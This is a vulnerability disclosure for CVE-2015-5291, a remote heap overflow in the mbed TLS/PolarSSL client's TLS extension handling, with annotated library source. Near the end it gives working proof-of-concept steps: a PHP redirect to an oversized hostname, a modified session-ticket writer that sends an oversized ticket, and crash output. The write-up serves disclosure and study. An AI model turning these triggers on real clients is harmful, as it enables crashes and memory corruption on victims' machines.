CVE-2015-5291

Remote heap corruption in ARM mbed TLS / PolarSSL

By Guido Vranken <guidovranken@gmail.com>

Introduction

This document elaborates on the general mechanism employed by ARM mbed TLS / PolarSSL in its set of functions that handle the TLS extensions[1] supported by the library, and how this mechanism possesses an inherent weakness. The weakness under consideration here revolves around the lack of bound checking by extension functions; as they are writing their data into the output buffer bound for the remote end, they fail to verify that the amount of data they are copying (usually via memcpy) does not exceed the space left in the output buffer, whose total size is just 16 kilobytes in the library's default configuration, which is (usually) sufficient for normal use but is prone to heap corruption if either unorthodox use of the library or malice enter the picture.

One particular TLS extension supported and handled by the library, namely the TLS Session Tickets[2] extension, enables a malicious server to exploit this weakness remotely in its victim (the client connected to it), which has led to the allocation of CVE-2015-5291[3] and the issuance of a security advisory by the mbed TLS team.

Rather than focusing on the remote vulnerability alone, this document elaborates on all functions that are affected the weakness in the mechanism, as they can all contribute to the viability of remote exploitation as long as an attacker is able to influence their parameters. Similarly, while the ticket extension is de facto the only extension whose weakness can be triggered at the behest of the remote end while using the library's stock configuration, some of the other functions are prone to the same weakness if the parent application which embeds the library allows more extensive parameterization by remote ends.

TLS Extensions

During the TLS handshake, data chunks belonging to various enabled TLS extensions are included in the outbound ClientHello and ServerHello data structures.

RFC 5246[4] defines these structures as follows:

1 https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml
2 https://www.ietf.org/rfc/rfc5077.txt
3 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5291
4 https://tools.ietf.org/html/rfc5246

```
struct {
  ProtocolVersion client_version;
  Random random;
  SessionID session_id;
  CipherSuite cipher_suites<2..2^16-2>;
  CompressionMethod compression_methods<1..2^8-1>;
  select (extensions_present) {
      case false:
          struct {};
      case true:
          Extension extensions<0..2^16-1>;
  };
} ClientHello;

struct {
  ProtocolVersion server_version;
  Random random;
  SessionID session_id;
  CipherSuite cipher_suite;
  CompressionMethod compression_method;
  select (extensions_present) {
      case false:
          struct {};
      case true:
          Extension extensions<0..2^16-1>;
  };
} ServerHello;
```

The Extension structure is defined as follows:

```
struct {
  ExtensionType extension_type;
  opaque extension_data<0..2^16-1>;
} Extension;
```

TLS extensions in the library's client code

Extension implementations

What follows is a list of functions invoked by the client which write extension data for each enabled extension into the output buffer.

All these functions have the same format:

The first parameter is the current SSL context.

The second parameter is the start of the area that may be written by the extension function.

The third parameter is a pointer to the variable that will receive the total amount of bytes written by the extension function.

```
static void ssl_write_hostname_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_renegotiation_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_signature_algorithms_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_supported_elliptic_curves_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_supported_point_formats_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_max_fragment_length_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_truncated_hmac_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_encrypt_then_mac_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_extended_ms_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_session_ticket_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
static void ssl_write_alpn_ext( mbedtls_ssl_context *ssl, unsigned char *buf, size_t *olen )
```

Invocation

These functions are invoked in the following order in the function ssl_write_client_hello() in library/ssl_cli.c :

```
    // First write extensions, then the total length
    //
#if defined(MBEDTLS_SSL_SERVER_NAME_INDICATION)
    ssl_write_hostname_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_RENEGOTIATION)
    ssl_write_renegotiation_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_PROTO_TLS1_2) && \
    defined(MBEDTLS_KEY_EXCHANGE__WITH_CERT__ENABLED)
    ssl_write_signature_algorithms_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_ECDH_C) || defined(MBEDTLS_ECDSA_C)
    ssl_write_supported_elliptic_curves_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;

    ssl_write_supported_point_formats_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

```

```
#if defined(MBEDTLS_SSL_MAX_FRAGMENT_LENGTH)
    ssl_write_max_fragment_length_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_TRUNCATED_HMAC)
    ssl_write_truncated_hmac_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_ENCRYPT_THEN_MAC)
    ssl_write_encrypt_then_mac_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_EXTENDED_MASTER_SECRET)
    ssl_write_extended_ms_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_SESSION_TICKETS)
    ssl_write_session_ticket_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

#if defined(MBEDTLS_SSL_ALPN)
    ssl_write_alpn_ext( ssl, p + 2 + ext_len, &olen );
    ext_len += olen;
#endif

```

Walkthrough of the extension functions and amount of data consumed

ssl_write_hostname_ext

If ssl->hostname is not set, then no data is written; if ssl->hostname is set (using mbedtls_ssl_set_hostname in library/ssl_tls.c), then writing to the output buffer will commence, in the following fashion:

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SERVERNAME >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SERVERNAME      ) & 0xFF );

    *p++ = (unsigned char)( ( (hostname_len + 5) >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( (hostname_len + 5)      ) & 0xFF );

    *p++ = (unsigned char)( ( (hostname_len + 3) >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( (hostname_len + 3)      ) & 0xFF );

    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SERVERNAME_HOSTNAME ) & 0xFF );
    *p++ = (unsigned char)( ( hostname_len >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( hostname_len      ) & 0xFF );

    memcpy( p, ssl->hostname, hostname_len );
```

```
    *olen = hostname_len + 9;
```

Here it can be observed that 9 bytes are consumed by various metadata about the extension and the hostname string, and a variable amount of bytes are consumed by the hostname string itself.

For the sake of clarity I'll point out that hostname_len is the length of ssl->hostname (interpreted as a null-terminated string). ssl->hostname and and ssl->hostname_len are defined in mbedtls_ssl_hostname() in library/ssl_tls.c:

```
int mbedtls_ssl_set_hostname( mbedtls_ssl_context *ssl, const char *hostname )
{
    size_t hostname_len;

    if( hostname == NULL )
        return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA );

    hostname_len = strlen( hostname );

    if( hostname_len + 1 == 0 )
        return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA );

    ssl->hostname = mbedtls_calloc( 1, hostname_len + 1 );

    if( ssl->hostname == NULL )
        return( MBEDTLS_ERR_SSL_ALLOC_FAILED );

    memcpy( ssl->hostname, hostname, hostname_len );

    ssl->hostname[hostname_len] = '\0';

    return( 0 );
}
```

<u>Added to output buffer: 9 to (9 + unlimited[5]) bytes.</u>

ssl_write_renegotiation_ext

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_RENEGOTIATION_INFO >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_RENEGOTIATION_INFO      ) & 0xFF );

    *p++ = 0x00;
    *p++ = ( ssl->verify_data_len + 1 ) & 0xFF;
    *p++ = ssl->verify_data_len & 0xFF;

    memcpy( p, ssl->own_verify_data, ssl->verify_data_len );

    *olen = 5 + ssl->verify_data_len;
```

5 “unlimited” here means that the library itself doesn't possess a bounding mechanism and in practice its size is only limited by the system's allocation limits and the architectural strictures that underpin it.

ssl->verify_data and ssl->verify_data_len are defined at two places in the library:

In mbedtls_ssl_write_finished() in library/ssl_tls.c:

```
    // TODO TLS/1.2 Hash length is determined by cipher suite (Page 63)
    hash_len = ( ssl->minor_ver == MBEDTLS_SSL_MINOR_VERSION_0 ) ? 36 : 12;

#if defined(MBEDTLS_SSL_RENEGOTIATION)
    ssl->verify_data_len = hash_len;
    memcpy( ssl->own_verify_data, ssl->out_msg + 4, hash_len );
#endif
```

and in mbedtls_ssl_parse_finished() in library/ssl_tls.c:

```
#if defined(MBEDTLS_SSL_PROTO_SSL3)
    if( ssl->minor_ver == MBEDTLS_SSL_MINOR_VERSION_0 )
        hash_len = 36;
    else
#endif
        hash_len = 12;
....
#if defined(MBEDTLS_SSL_RENEGOTIATION)
    ssl->verify_data_len = hash_len;
    memcpy( ssl->peer_verify_data, buf, hash_len );
#endif
```

Added to output buffer: either 12 or 36 bytes.

ssl_write_signature_algorithms_ext

```
#if defined(MBEDTLS_RSA_C) || defined(MBEDTLS_ECDSA_C)
    unsigned char *sig_alg_list = buf + 6;
#endif
...
...
    /*
     * Prepare signature_algorithms extension (TLS 1.2)
     */
    for( md = ssl->conf->sig_hashes; *md != MBEDTLS_MD_NONE; md++ )
    {
#if defined(MBEDTLS_ECDSA_C)
        sig_alg_list[sig_alg_len++] = mbedtls_ssl_hash_from_md_alg( *md );
        sig_alg_list[sig_alg_len++] = MBEDTLS_SSL_SIG_ECDSA;
#endif
#if defined(MBEDTLS_RSA_C)
        sig_alg_list[sig_alg_len++] = mbedtls_ssl_hash_from_md_alg( *md );
        sig_alg_list[sig_alg_len++] = MBEDTLS_SSL_SIG_RSA;
#endif
    }
...
...
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SIG_ALG >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SIG_ALG      ) & 0xFF );
```

```
    *p++ = (unsigned char)( ( ( sig_alg_len + 2 ) >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( ( sig_alg_len + 2 )      ) & 0xFF );

    *p++ = (unsigned char)( ( sig_alg_len >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( sig_alg_len      ) & 0xFF );

    *olen = 6 + sig_alg_len;
```

The ssl->conf->sig_hashes list can be manually set using mbedtls_ssl_conf_sig_hashes() in library/ssl_tls.c. If the default configuration is enabled using mbedtls_ssl_config_defaults() in library/ssl_tls.c, then ssl->conf->sig_hashes will either be:

```
            conf->sig_hashes = ssl_preset_suiteb_hashes;
```

or

```
            conf->sig_hashes = mbedtls_md_list();
```

depending on the 'preset' variable passed to this function.

<u>Added to output buffer: variable but smallish.</u>

ssl_write_supported_elliptic_curves_ext

```
    unsigned char *elliptic_curve_list = p + 6;
...
...
#if defined(MBEDTLS_ECP_C)
    for( grp_id = ssl->conf->curve_list; *grp_id != MBEDTLS_ECP_DP_NONE; grp_id++ )
    {
        info = mbedtls_ecp_curve_info_from_grp_id( *grp_id );
#else
    for( info = mbedtls_ecp_curve_list(); info->grp_id != MBEDTLS_ECP_DP_NONE; info++ )
    {
#endif

        elliptic_curve_list[elliptic_curve_len++] = info->tls_id >> 8;
        elliptic_curve_list[elliptic_curve_len++] = info->tls_id & 0xFF;
    }

    if( elliptic_curve_len == 0 )
        return;

    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SUPPORTED_ELLIPTIC_CURVES >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SUPPORTED_ELLIPTIC_CURVES ) & 0xFF );

    *p++ = (unsigned char)( ( ( elliptic_curve_len + 2 ) >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( ( elliptic_curve_len + 2 )      ) & 0xFF );

    *p++ = (unsigned char)( ( ( elliptic_curve_len     ) >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( ( elliptic_curve_len     )      ) & 0xFF );

    *olen = 6 + elliptic_curve_len;
```

The ssl->conf->curve_list list can be manually set using mbedtls_ssl_conf_curves() in library/ssl_tls.c. If the default configuration is enabled using mbedtls_ssl_config_defaults() in library/ssl_tls.c, then ssl->conf->curve_list will either be:

```
            conf->curve_list = ssl_preset_suiteb_curves;
```

or

```
            conf->curve_list = mbedtls_ecp_grp_id_list();
```

depending on the 'preset' variable passed to this function.

<u>Added to output buffer: variable but smallish.</u>

ssl_write_supported_point_formats_ext

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SUPPORTED_POINT_FORMATS >>
8 ) & 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SUPPORTED_POINT_FORMATS
) & 0xFF );

    *p++ = 0x00;
    *p++ = 2;

    *p++ = 1;
    *p++ = MBEDTLS_ECP_PF_UNCOMPRESSED;

    *olen = 6;
```

<u>Added to output buffer: 6 bytes.</u>

ssl_write_max_fragment_length_ext

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_MAX_FRAGMENT_LENGTH >> 8 )
& 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_MAX_FRAGMENT_LENGTH      )
& 0xFF );

    *p++ = 0x00;
    *p++ = 1;

    *p++ = ssl->conf->mfl_code;

    *olen = 5;
```

<u>Added to output buffer: 5 bytes.</u>

ssl_write_truncated_hmac_ext

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_TRUNCATED_HMAC >> 8 ) &
0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_TRUNCATED_HMAC      ) &
```

```
0xFF );

    *p++ = 0x00;
    *p++ = 0x00;

    *olen = 4;
```

Added to output buffer: 4 bytes.

ssl_write_encrypt_then_mac_ext

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_ENCRYPT_THEN_MAC >> 8 ) &
0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_ENCRYPT_THEN_MAC      ) &
0xFF );

    *p++ = 0x00;
    *p++ = 0x00;

    *olen = 4;
```

Added to output buffer: 4 bytes.

ssl_write_extended_ms_ext

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_EXTENDED_MASTER_SECRET >>
8 ) & 0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_EXTENDED_MASTER_SECRET
) & 0xFF );

    *p++ = 0x00;
    *p++ = 0x00;

    *olen = 4;
```

Added to output buffer: 4 bytes.

ssl_write_session_ticket_ext

```
    size_t tlen = ssl->session_negotiate->ticket_len;
...
...
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SESSION_TICKET >> 8 ) &
0xFF );
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_SESSION_TICKET      ) &
0xFF );

    *p++ = (unsigned char)( ( tlen >> 8 ) & 0xFF );
    *p++ = (unsigned char)( ( tlen      ) & 0xFF );

    *olen = 4;
...
...
```

```
415     memcpy( p, ssl->session_negotiate->ticket, tlen );
416
417     *olen += tlen;
```

ssl->session_negotiate->ticket and ssl->session_negotiate->ticket_len are set in ssl_parse_new_session_ticket() in library/ssl_cli.c:

```
2899     ticket_len = ( msg[4] << 8 ) | ( msg[5] );
2900
2901     if( ticket_len + 6 + mbedtls_ssl_hs_hdr_len( ssl ) != ssl-
>in_hslen )
2902     {
2903         MBEDTLS_SSL_DEBUG_MSG( 1, ( "bad new session ticket
message" ) );
2904         return( MBEDTLS_ERR_SSL_BAD_HS_NEW_SESSION_TICKET );
2905     }
...
...
2926     if( ( ticket = mbedtls_calloc( 1, ticket_len ) ) == NULL )
2927     {
2928         MBEDTLS_SSL_DEBUG_MSG( 1, ( "ticket alloc failed" ) );
2929         return( MBEDTLS_ERR_SSL_ALLOC_FAILED );
2930     }
2931
2932     memcpy( ticket, msg + 6, ticket_len );
2933
2934     ssl->session_negotiate->ticket = ticket;
2935     ssl->session_negotiate->ticket_len = ticket_len;
```

ssl_parse_new_session_ticket() is invoked in the MBEDTLS_SSL_SERVER_NEW_SESSION_TICKET stage of the handshake in mbedtls_ssl_handshake_client_step() in library/ssl_cli.c:

```
3059        case MBEDTLS_SSL_SERVER_NEW_SESSION_TICKET:
3060            ret = ssl_parse_new_session_ticket( ssl );
3061            break;
```

Crucial in understanding CVE-2015-5291 is the interplay between these two functions.

The remote end (which in this case is the server, since the vulnerability only affects the client part of the library) is free to send an arbitrarily sized block of data to the client. Its maximum size is 64 kb as implied by the two bytes used to encode the size (line 2899 in ssl_parse_new_session_ticket()). Even if 64 kb exceeds the client's allocation limit, the library will gracefully halt the handshake and return with an error code to its caller (line 2926). If it succeeds, the relevant internal state variables ssl->session_negotiate->ticket and ssl->session_negotiate->ticket_len are set to the right values.

However, upon echoing the ticket back the the server in ssl_write_session_ticket_ext(), the entire ticket chunk is memcpy()'ied into the client's output buffer (line 415 in ssl_write_session_ticket_ext()).

<u>Added to output buffer: 4 to (4 + 0xFFFF = 65539) bytes.</u>

ssl_write_alpn_ext

```
436     *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_ALPN >> 8 ) & 0xFF );
```

```
    *p++ = (unsigned char)( ( MBEDTLS_TLS_EXT_ALPN      ) & 0xFF );
    p += 4;

    for( cur = ssl->conf->alpn_list; *cur != NULL; cur++ )
    {
        *p = (unsigned char)( strlen( *cur ) & 0xFF );
        memcpy( p + 1, *cur, *p );
        p += 1 + *p;
    }

    *olen = p - buf;

    /* List length = olen - 2 (ext_type) - 2 (ext_len) - 2 (list_len) */
    buf[4] = (unsigned char)( ( ( *olen - 6 ) >> 8 ) & 0xFF );
    buf[5] = (unsigned char)( ( ( *olen - 6 )      ) & 0xFF );

    /* Extension length = olen - 2 (ext_type) - 2 (ext_len) */
    buf[2] = (unsigned char)( ( ( *olen - 4 ) >> 8 ) & 0xFF );
    buf[3] = (unsigned char)( ( ( *olen - 4 )      ) & 0xFF );
```

Ssl->conf->alpn_list can be defined by the parent application that utilizes the library, using the mbedtls_ssl_conf_alpn_protocols() function in library/ssl_tls.c:

```
int mbedtls_ssl_conf_alpn_protocols( mbedtls_ssl_config *conf, const char **protos )
{
    size_t cur_len, tot_len;
    const char **p;

    /*
     * "Empty strings MUST NOT be included and byte strings MUST NOT be
     * truncated". Check lengths now rather than later.
     */
    tot_len = 0;
    for( p = protos; *p != NULL; p++ )
    {
        cur_len = strlen( *p );
        tot_len += cur_len;

        if( cur_len == 0 || cur_len > 255 || tot_len > 65535 )
            return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA );
    }

    conf->alpn_list = protos;

    return( 0 );
}
```

This function ensures that each individual ALPN string does not exceed 255 bytes, and the combined size does not exceed 64 kb, in accordance with the specifications expressed in RFC 7301[6].

Added to output buffer: 6 to (6 + 65535 = 65541) bytes.

6 https://tools.ietf.org/html/rfc7301

Summary

Function	Amount of bytes consumed	Size can be controlled remotely
ssl_write_hostname_ext	9 - unlimited	Sometimes, such as in curl compiled with the library (see below).
ssl_write_renegotiation_ext	Either 12 or 36	Yes
ssl_write_signature_algorithms_ext	variable but small	Unlikely
ssl_write_supported_elliptic_curves_ext	variable but small	Unlikely
ssl_write_supported_point_formats_ext	6	No
ssl_write_max_fragment_length_ext	5	No
ssl_write_truncated_hmac_ext	4	No
ssl_write_encrypt_then_mac_ext	4	No
ssl_write_extended_ms_ext	4	No
ssl_write_session_ticket_ext	4 to (4 + 65535 = 65539)	Yes
ssl_write_alpn_ext	6 to (6 + 65535 = 65541)	Unlikely

How to cause heap corruption in the client

There are three functions whose upper bound exceeds the library's default output buffer of 16 kilobytes:

- ssl_write_alpn_ext
- ssl_write_hostname_ext
- ssl_write_session_ticket_ext

ssl_write_alpn_ext

Only if the server can control the client's supported Application Layer Protocols, which can only be set via mbedtls_ssl_conf_alpn_protocols, remote heap corruption is possible. This is unlikely.

ssl_write_hostname_ext

The first one, ssl_write_hostname_ext will *usually* write an amount of bytes under or around 256 bytes, since this is limit imposed by the Domain Name System (DNS) and any host name exceeding that amount will be unable to resolve to an IP address. Since an IP address is required to initiate a handshake, and thus the corruption of the heap cannot occur if we assume that a valid DNS lookup of, say, a host name 17 kilobytes in size, is impossible, it is tempting to disregard (remote or local) the possibility of exploitation via ssl_write_hostname_ext in a decently programmed software.

However, exceptions to this rule exist. A system's mechanism for translating host names to IP addresses is sometimes not singularly based on valid DNS queries; Linux, for instance, allows custom host names to be defined in /etc/hosts.

I have been able to remotely cause a segmentation fault in curl+PolarSSL by following these steps:

Create a PHP file on your web server:

```
<?php
    $hostname = str_repeat("y", 17000);
    header("Location: https://" . $hostname . ":80");
?>
```

Obviously, this will redirect curl (the command-line binary) to the ~ 17 kilobyte host name “yyyyyyyy...” if it is invoked with –location that will enable following redirects. In my /etc/hosts file, I placed exactly this 17000 bytes wide string preceded with “127.0.0.1”, so that a lookup of that hostname would resolve to 127.0.0.1. On localhost I ran a TLS server. This process caused curl to crash.

It follows that if an attacker can control or influence the hostname-IP pairs available to a client's lookup, exploitation might be possible.

ssl_write_session_ticket_ext

SSL session tickets are enabled by default in the library. The condition under which exploitation is possible is that the client will reuse it's context (ie., the set of internal state variables pertaining to a certain outbound connection) once.

In library/ssl_ticket.c, change mbed_tls_ticket_write() to something like this:

```
int mbedtls_ssl_ticket_write( void *p_ticket,
                              const mbedtls_ssl_session *session,
                              unsigned char *start,
                              const unsigned char *end,
                              size_t *tlen,
                              uint32_t *ticket_lifetime )
{
    int ret;
    mbedtls_ssl_ticket_context *ctx = p_ticket;
    unsigned char *key_name = start;
    unsigned char *iv = start + 4;
    unsigned char *state_len_bytes = iv + 12;
    unsigned char *state = state_len_bytes + 2;
    size_t clear_len;
```

```

    clear_len = 16300;
    if( ctx == NULL || ctx->f_rng == NULL )
        return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA );

    memset(state, 0, clear_len);
    state_len_bytes[0] = ( clear_len >> 8 ) & 0xff;
    state_len_bytes[1] = ( clear_len      ) & 0xff;

    *tlen = 4 + 12 + 2 + 16 + clear_len;

#if defined(MBEDTLS_THREADING_C)
    if( mbedtls_mutex_unlock( &ctx->mutex ) != 0 )
        return( MBEDTLS_ERR_THREADING_MUTEX_ERROR );
#endif

    return 0;
}
```

And be sure to increase it's own buffer size (or else it will corrupt its own heap):

in include/mbedtls/ssl.h:

```
#if !defined(MBEDTLS_SSL_MAX_CONTENT_LEN)
#define MBEDTLS_SSL_MAX_CONTENT_LEN         (1024*1024)   /**< Size of
the input / output buffer */
#endif
```

Run the server:

```
$ programs/ssl/ssl_server2

  . Seeding the random number generator... ok
  . Loading the CA root certificate ... ok (0 skipped)
  . Loading the server cert. and key... ok
  . Bind on tcp://*:4433/ ... ok
  . Setting up the SSL/TLS structure... ok
  . Waiting for a remote connection …
```

Run the client:

```
$ programs/ssl/ssl_client2 reconnect=1 reco_delay=1

  . Seeding the random number generator... ok
  . Loading the CA root certificate ... ok (0 skipped)
  . Loading the client cert. and key... ok
  . Connecting to tcp/localhost/4433... ok
  . Setting up the SSL/TLS structure... ok
  . Performing the SSL/TLS handshake... ok
    [ Protocol is TLSv1.2 ]
    [ Ciphersuite is TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384 ]
    [ Record expansion is 29 ]
    [ Maximum fragment length is 16384 ]
  . Saving session for reuse... ok
  . Verifying peer X.509 certificate... ok
  . Peer certificate information    ...
      cert. version     : 3
```

```
      serial number     : 09
      issuer name       : C=NL, O=PolarSSL, CN=Polarssl Test EC CA
      subject name      : C=NL, O=PolarSSL, CN=localhost
      issued  on        : 2013-09-24 15:52:04
      expires on        : 2023-09-22 15:52:04
      signed using      : ECDSA with SHA256
      EC key size       : 256 bits
      basic constraints : CA=false

  > Write to server: 34 bytes written in 1 fragments

GET / HTTP/1.0
Extra-header:


  < Read from server: 152 bytes read

HTTP/1.0 200 OK
Content-Type: text/html

<h2>mbed TLS Test Server</h2>
<p>Successful connection using: TLS-ECDHE-ECDSA-WITH-AES-256-GCM-SHA384</p>
  . Closing the connection... done
  . Reconnecting with saved session...*** Error in
`programs/ssl/ssl_client2': free(): invalid pointer: 0x000000000224ce80 ***
Aborted (core dumped)
```

This is what is happening here:

1. Client connects to the server.
2. Server gives client a session ticket, client stores this session ticket.
3. Regular transmission takes place between the client and the server and the connection is closed.
4. The client reconnects to the server, sends its stored session ticket, and because its size exceeds the current space left in the client's output buffer, it corrupts its own heap.

How the extension functions are interlinked

It must be borne in mind that, while remote heap corruption can be achieved by one singular extension, the extent of the heap corruption itself depends also on the amount of data written by preceding extension functions invoked.

Let's again consider the order in which the extension functions are invoked in ssl_write_client_hello() in library/ssl_cli.c:

```
759     ssl_write_hostname_ext( ssl, p + 2 + ext_len, &olen );
764     ssl_write_renegotiation_ext( ssl, p + 2 + ext_len, &olen );
770     ssl_write_signature_algorithms_ext( ssl, p + 2 + ext_len, &olen );
775     ssl_write_supported_elliptic_curves_ext( ssl, p + 2 + ext_len,
&olen );
778     ssl_write_supported_point_formats_ext( ssl, p + 2 + ext_len, &olen );
783     ssl_write_max_fragment_length_ext( ssl, p + 2 + ext_len, &olen );
788     ssl_write_truncated_hmac_ext( ssl, p + 2 + ext_len, &olen );
793     ssl_write_encrypt_then_mac_ext( ssl, p + 2 + ext_len, &olen );
798     ssl_write_extended_ms_ext( ssl, p + 2 + ext_len, &olen );
803     ssl_write_session_ticket_ext( ssl, p + 2 + ext_len, &olen );
808     ssl_write_alpn_ext( ssl, p + 2 + ext_len, &olen );
```

It makes a difference if the host name is only 10 or 100 bytes wide; the host name data is written before ssl_write_session_ticket_ext() is invoked, and the difference in the length of the host name implies how much data can be written outside of buffer bounds.

In other words, the effect is *accumulative*. To the attacker, this property can be helpful, since this offers them a degree of granularity that may aid in successfully exploiting the vulnerability for whatever malicious idea they have in mind.